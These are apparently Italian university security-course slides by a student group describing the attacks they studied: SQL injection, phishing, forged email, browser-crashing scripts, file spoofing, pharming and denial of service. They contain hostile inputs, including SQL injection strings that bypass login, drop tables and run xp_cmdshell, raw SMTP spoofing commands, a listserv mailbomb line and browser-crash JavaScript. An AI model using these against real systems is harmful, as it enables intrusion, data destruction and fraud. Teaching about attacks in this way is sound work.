KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno Indice •Sql Injection •Phishing e mail fasulle •Attacchi attraverso siti web •Pharming e file spoofing •Denial of Service Sql injection Tutti gli attacchi ad applicazioni, tipicamente web, in cui il programma utilizza esegue operazioni su un database SQL utilizzando variabili passate dall’utente senza averle prima verificate Generalmente le applicazioni hanno dei form che fanno leva su database interrogati sulla base dei dati inseriti dall’utente Quindi ogni volta che si sottomette un form viene eseguita un’operazione su un database Sql injection Possiamo quindi considerare il caso tipico della login di un utente su un sito web L’utente inserisce la propria login e password e sottomette i dati Ipotizzando che la login sia Felice e la password sia 5561245 allora è presumibile che sia eseguita la query SELECT * from tabella where ID=' Felice ' AND PASSWORD=' 5561245 ' Sql injection Il nostro obiettivo è quello di ingannare il parser sql per generare comportamenti imprevisti Proviamo ad inserire il carattere ' nel campo login e sottomettere i dati Se non sono stati fatti controlli sui dati di input allora la query eseguita sarà la seguente from tabella L’apice viene considerato come simbolo di dichiarazione where ID=' ' ' AND PASSWORD=' ' Viene generato un errore SELECT * Sql injection Proviamo ad inserire la stringa ' OR "=' nei campi login e password La query eseguita sarà la seguente: SELECT * from tabella where ID= ' ' OR "=' ' AND PASSWORD= ' ' OR "=' ' La clausola WHERE sarà sempre vera e l’hacker è autenticato senza credenziali! Spesso l’amministratore si registra tra gli utenti posizionandosi nella prima tupla della tabella poiché la select restituirà la prima tupla della tabella l’hacker sarà loggato come amministratore Sql injection Utilizzando quest’ idea è possibile generare tutta una serie di attacchi sfruttando i soli campi di login e password Username: ' ; drop table members-Effetto: Eliminazione della tabella di un database Username: aaaaaaaaaaaaaaa' Password: ' ; shutdown -Effetto: Chiusura del database Username: ' ;EXEC master..xp_cmdshell 'dir';-Effetto: Esecuzione del comando dir per ottenere un listato delle directory Username: ' ;EXEC master..xp_regread HKEY_LOCAL_MACHINE,'percorso','chiave'-Effetto: Lettura di una chiave del registro di Windows Sql injection In generale la costruzione della stringa dipende dalla versione del server sql in uso. Prevenire quest’attacco è semplice Basta controllare lato server se l’hacker ha inserito degli apici È bene non fidarsi del codice javascript che può essere aggirato soprattutto se la richiesta è di tipo GET È opportuno limitare i privilegi Phishing Il termine phishing (abboccamento) deriva dalla storpiatura del verbo inglese to fish che significa pescare L’idea è quella di pescare utenti in rete per farli cadere all’interno di trappole tese da incalliti ed navigati truffatori L’obiettivo è ottenere informazioni sensibili quali i usernames, le parole d'accesso, le identificazioni di cliente o comunque dati che permettano di estorcere illegalmente soldi ad ignari utenti Phishing In termini pratici il phishing si traduce nel dirigere utenti verso siti pirata che hanno l’obiettivo di simulare organizzazioni reali per ottenere informazioni Il phisher segue due passi : 1 Copia grafica del sito di riferimento dell’organizzazione target 2 “Attrarre” le vittime verso il sito Phishing Il primo passo è banale ed esistono peraltro tool che ben supportano questa operazione Noi abbiamo utilizzato Teleport La sezione dinamica del sito viene riprogrammata per verosimiglianza L’utente apparentemente fa operazioni ma viene costretto in ogni modo a rivelare le proprie informazioni incutendo terrore nella vittima con messaggi che lo inducano ad agire velocemente e sconsideratamente Per fare ciò si inviano messaggi che obbligano ad esempio a svelare login, password, codici bancari …. Il sito pirata nella realtà viene piazzato su server in nazioni estere Phishing Il secondo passo consiste nel dirigere le vittime verso la trappola Per fare questo esistono due possibilità: 1) DNS POISONING (nella maggior parte dei casi un miraggio) 2) Utilizzo di vere e proprie esche Abbiamo considerato questa seconda strada Phishing Una prima possibilità è quella di mettere il link all’interno di forum o chat Il limite di questa strategia è che questi link possono avere scarsa visibilità e possono essere eliminati velocemente prima di aver fatto danni La seconda possibilità è quella di utlizzare il servizio di posta inviando mail fasulle che ricalcano la grafica delle organizzazioni target All’interno delle mail si posiziona un link che punta al sito pirata Phishing I phisher hanno un potente alleato: gli spammers Questi mettono a disposizione i loro database per fornire indirizzi attivi In generale non è bene fidarsi dell’indirizzo visualizzato al passaggio del mouse poiché può essere mascherato attraverso codice javascript Mail fasulle Argomento correlato al phishing è quello delle mail fasulle Sendmail è un daemon che aspetta connessioni sulla porta 25 usato per inviare la posta in uscita Collegandosi tramite telnet in prova.it sulla porta 25 e digitando i comandi esatti, è possibile generare e-mail false Supponiamo che il nostro obiettivo è [email protected] a cui vogliamo recapitare una mail da parte di [email protected] Mail fasulle Dopo esserci connessi a prova.it:25 dovremmo ottenere un messaggio del tipo 220 prova.it ESMTP Sendmail 8.9.3/8.8.6; thu, 8 Jul 2006 11:46:01 +0000 (GMT) I comandi saranno HELO nomeprovider.it La risposta sarà: 250 prova.it Hello NOMEPROVIDER.IT, pleased to meet you MAIL FROM: <[email protected]> RCPT TO: <[email protected]> DATA con il contenuto seguito da due righe vuote e dal punto Mail fasulle Concettualmente è possibile seppellire la mail box di un potenziale vittima ponendo come mittenet la vittima e destinatario un listserv Un Listserv è un programma che invia programmi tramite e-mail nel caso non si riesca a prelevarlo via FTP. Se ad esempio sappiamo che nella directory "mieifiles" del server pluto.it c'e` un file di 20 megabyte il cui nome è "enorme.gz" possiamo fare in modo che quei 20 MB vengano inviati sotto forma di testo nella e-mail della nostra vittima, ponendo nel campo SUBJECT quanto segue REPLY [email protected] CONNECT pluto.it anonymous [email protected] BINARY GET mieifiles/enorme.gz QUIT Attacchi attraverso siti web Fare eseguire lato client codice o script Molto dipende dalle configurazioni e dalle verioni del software utilizzato dai client Abbiamo analizzato le applet java, javascript e Macromedia Flash Tutte implementano un modello di sicurezza basato su sandbox Attacchi attraverso siti web JAVA(l’ultima versione) ha un livello di sicurezza superiore rispetto alle altre 2 tecnologie È però possibile scrivere codice -Con l’obiettivo di usurare le risorse del client -Far crashare alcuni browser Attacchi attraverso siti web Javascript ha una lunga ingloriosa storia legata a problemi di sicurezza Riportiamo alcuni esempi tra quelli documentati function ex() { var buffer = ""; for (var i = 0; i < 5000; i++) { buffer += "A"; } var buffer2 = buffer; for (i = 0; i < 500; i++) { buffer2 += buffer; } document.title = buffer2; } Exploit per alcune versione di Firefox 1.5 Attacchi attraverso siti web È più semplice attaccare Internet Explorer 6.0 Attacco per Denail of Service <HTML> <SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT> <SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT> </HTML> Attacco per far crashare il browser function Demo() { var a = document.createElement('table'); var b = document.createElement('frameset'); a.appendChild(b); } Attacchi attraverso siti web Adobe ha sviluppato un linguaggio di script (Action Script)per potenziare Flash È possibile inviare richieste http a terze parti settando degli header var req:LoadVars=new LoadVars(); req.addRequestHeader("Foo","Bar"); req.send("http://www.vuln.site/some/page.cgi?p1=v1&p2=v2", "_blank","GET"); Oppure var req:LoadVars=new LoadVars(); req.addRequestHeader("Foo","Bar"); req.decode("a=b&c=d"); req.send("http://www.vuln.site/some/page.cgi?p1=v1&p2=v2", "_blank","POST"); Pharming • Tecnica basata essenzialmente sulla manipolazione degli indirizzi web • Punta a modificare l’associazione tra indirizzi IP e nomi di dominio per reindirizzare l’utenza verso altri siti. • Due tecniche di attacco: – si operano delle variazioni nei Server DNS dell'Internet Service Provider modificando gli abbinamenti tra il dominio e l'indirizzo IP corrispondente a quel dominio – con l'ausilio di programmi trojan una variazione nel personal computer della vittima Inviare trojan con “File spoofing” • Lo scopo è quello di inserire o modificare gli abbinamenti tra il dominio interessato e l'indirizzo IP corrispondente a quel dominio in un file locale particolare (File “hosts” in windows) • Lo spoofing dei tipi di file è una tecnica usata per simulare che un certo file corrisponda ad un tipo diverso da ciò che è realmente • ingannare un utente facendogli credere che un trojan sembri un tipo di file innocuo Inviare trojan con “File spoofing” • Due tecniche conosciute: – Trucco della doppia estensione di Windows: • Rinominare un file con una doppia estensione in modo tale da ingannare la visualizzazione di windows (ES: “Archivio.zip.exe” viene visualizzato come “Archivio.zip”) • Attacco da eseguire a coloro che conoscono windows da 2(massimo 3) giorni :D – Il mime nelle e-mail • Gli attachment in un messaggio di posta elettronica vengono codificati usando lo standard MIME con una codifica di solo testo nel caso dei file ASCII puri (TXT, BAT, HTA) oppure con la codifica "base64" nel caso si tratti di file binari • L'inganno consiste proprio nel cambiare il campo "Content-Type" indicando magari che un file eseguibile è un'immagine Il nostro scopo • Riuscire a dirottare tutto il traffico possibile verso la nostra macchina • Ottenere informazioni sui possibili utenti del sito attaccato: – Creando un sito che simulasse gran parte delle funzionalità – L’utente ignaro della situazione avrebbe avuto accesso al sito fasullo e avrebbe dato informazioni di login che si potevano sfruttare per fare altri danni Come difendersi • Non esistono ancora dei programmi specifici ma si usano: – firewall che tentano di impedire l'accesso al proprio PC da parte di utenti esterni – antivirus che bloccano l'esecuzione di codice malevolo • Siti certificati: – Se il sito a cui ci si collega è un sito sicuro prima dell'accesso verrà mostrato un certificato digitale emesso da una autorità di certificazione conosciuta – Questo certificato andrebbe quantomeno letto e non frettolosamente accettato Denial of Service • Attacco con cui un aggressore tenta di rendere una risorsa troppo occupata per rispondere a richieste legittime o di negare a utenti legittimi l'accesso ad una macchina • I primi attacchi si cercavano di esaurire risorse hardware della vittima, quali lo spazio su disco, la memoria e la CPU: – ciò era ottenibile spedendo pochi pacchetti malformati che mandavano in crash il sistema remoto • Due tipi sono più conosciuti: – Syn-Flood – Smurf Syn-Flood • Letteralmente: "inondazione di pacchetti di tipo Syn" • Tutte le volte che un utente fa click su di un link di una pagina web: – si richiede l'apertura di una connessione (di tipo TCP) verso quel sito – si eseguono una serie di passi, il primo dei quali consiste nell'invio di un pacchetto TCP che richiede l'apertura di una connessione • Le regole di funzionamento del protocollo TCP esigono che il sistema risponda allocando alcune risorse per la connessione Syn-Flood(2) • si richiede l'apertura di diverse migliaia di connessioni al secondo che: – "inondando" il server – ne consumano rapidamente tutta la memoria, bloccandolo o mandandolo in crash. Smurf • utilizza un flusso di pacchetti modesto che: – è in grado di passare attraverso una normale connessione via modem, ed una rete esterna, che sia stata mal configurata – usa la rete malconfigurata, che agisce da moltiplicatore di pacchetti, i quali si dirigono infine verso il bersaglio finale lungo linee di comunicazione ad alta velocità • Si noti che questo tipo di attacco è possibile solo in presenza di reti che abbiano grossolani errori di configurazione dei sistemi (router) che le collegano tra loro e con Internet Distributed Denial of Services • DDoS ripete lo stesso approccio utilizzando però diversi punti d'ingresso contemporanei • si è in grado di mettere in ginocchio sistemi più grandi che sarebbero indifferenti ad un singolo flood • Come funziona: – si infettano un numero elevato di computer(successivamente chiamati zombie) con dei virus o worm che lasciano aperte delle backdoor riservate – Quando il numero di zombie è ritenuto adeguato, o quando scatta una specifica data, i computer infetti si attivano e sommergono il server bersaglio di false richieste I nostri attacchi DoS • Inutile fare un attacco DoS su una rete non attiva: – Congestionare una rete o incrementare esponenzialmente il lavoro un computer che che non offrono servizi è un controsenso :D • Il nostro lavoro si è incentrato soprattutto su altre tipologie di attacco più “produttive” in relazione a quelli che erano gli scopi del corso